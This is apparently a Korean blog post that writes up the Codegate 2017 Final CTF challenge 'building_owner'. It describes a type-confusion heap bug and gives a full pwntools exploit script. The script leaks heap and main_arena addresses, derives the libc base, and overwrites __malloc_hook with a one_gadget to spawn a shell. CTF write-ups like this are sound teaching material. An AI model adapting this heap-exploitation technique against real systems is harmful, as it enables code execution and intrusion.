Pwnable/CTF

Codegate 2017 Final building_owner

HSr00t 2018. 1. 21. 20:12

이 문제에서는 type confusion취약점이 있는데 manage함수 부분을보면 edit, change둘중 change부분을 보면 원래 company type라면 저 함수를 써서 restaurant type로 바꾼다면 두 type끼리 size가 안 맞아서 오버플로우가 되는것을 이용하여서 name 포인터 부분으로 heap 릭을하고 main_arena leak + 공격을 할수있다.

string 객체는 "A"*17 을 넣으면 0x21사이즈로 할당이되고 25개를 넣으면 0x21사이즈를 free하고 0x31사이즈로 할당을 하는 특징을 이용하여서 main arena 릭을 할수있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
apart {
string name 0
int64_t floor 32
string about 40
int64_t house 72
}
 
company {
string name 0
int64_t floor 32
string about 40 
uint64_t people 72
uint64_t money 80
}
 
restaurant {
string name 0
int64_t floor 32
string about 40 
int64_t people 72
int64_t money 80
int64_t menu 88
int64_t price 96
int64_t pay 104
}
 
 
cs

구조체는 위와같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
 
p=process("./building_owner")
elf=ELF("./building_owner")
 
def apartment(name,floor,house,about):
    p.sendlineafter('> ','1')
    p.sendlineafter('?',name)
    p.sendlineafter('? ',str(floor))
    p.sendlineafter('? ',str(house))
    p.sendlineafter(': ',about)
 
def company(name,floor,people,money,about):
    p.sendlineafter('> ','2')
    p.sendlineafter('?',name)
    p.sendlineafter('? ',str(floor))
    p.sendlineafter('? ',str(people))
    p.sendlineafter('? ',str(money))
    p.sendlineafter(': ',about)
 
def restaurant(name,floor,menu,people,money,price,pay,about):
    p.sendlineafter('> ','3')
    p.sendlineafter('?',name)
    p.sendlineafter('? ',str(floor))
    p.sendlineafter('? ',str(menu))
    p.sendlineafter('? ',str(people))
    p.sendlineafter('? ',str(money))
    p.sendlineafter('? ',str(price))
    p.sendlineafter('?',str(pay))
    p.sendlineafter(': ',about)
 
def manage():
    p.sendlineafter('> ','4')
 
def edit_start(type_,idx):
    p.sendlineafter('> ','1')
    p.sendlineafter('> ',str(type_))
    p.sendlineafter('> ',str(idx))
 
def change(type_,idx,kind):
    p.sendlineafter('> ','2')
    p.sendlineafter('> ',str(type_))
    p.sendlineafter('> ',str(idx))
    p.sendlineafter('> ',str(kind))
    p.sendlineafter('> ','5')
 
def exit():
    p.sendlineafter('> ','3')
 
apartment("AAAA",10,10,"AAAA")
company("B"*9,20,20,20,"BBBB"#"B"*9 len == 9 -> main_arena 8byte leak
restaurant("CCCC",30,30,30,30,30,30,"CCCC")
 
manage()
change(1,1,2#apart idx 1 -> restaurant
edit_start(3,2)
p.recvuntil('price of menu : ')
heap = int(p.recvuntil('\n').split('\n')[0],10#company name
print hex(heap)
p.sendlineafter('> ','10'#restaurant edit exit
p.sendlineafter('> ','4'#edit exit
exit()
 
leak_target = heap + 0x1b0 #main_arena + 88
print hex(leak_target)
company("b"*150,20,20,20,"bbbb"#leak heap
manage()
edit_start(3,2)
p.sendlineafter('> ','6'#menu edit -> company name ptr edit
p.sendlineafter(': ',str(leak_target))
p.sendlineafter('> ','10'#restaurant edit exit
p.sendlineafter('> ','2')
p.recvuntil('1. ')
main_arena = u64(p.recv(8)) - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - 0x3c4b10
one_shot = libc_base + 0xf1147
print hex(main_arena)
print hex(malloc_hook)
p.sendlineafter('> ','3'#company edit exit
p.sendlineafter('> ','3'#restaurant edit start
p.sendlineafter('> ','2'#type change idx -> 2
p.sendlineafter('> ','6'#company name ptr edit
p.sendlineafter(': ',str(malloc_hook))
p.sendlineafter('> ','10')
p.sendlineafter('> ','2')
p.sendlineafter('> ','1'#target malloc_hook
p.sendlineafter('> ','1'#company name change
p.sendlineafter(': ',p64(one_shot))    #malloc_hook edit
 
p.sendlineafter('> ','6')
p.sendlineafter('> ','4')
exit()
 
p.sendlineafter('> ','1'#apart malloc_hook -> oneshot
 
p.interactive()
 
cs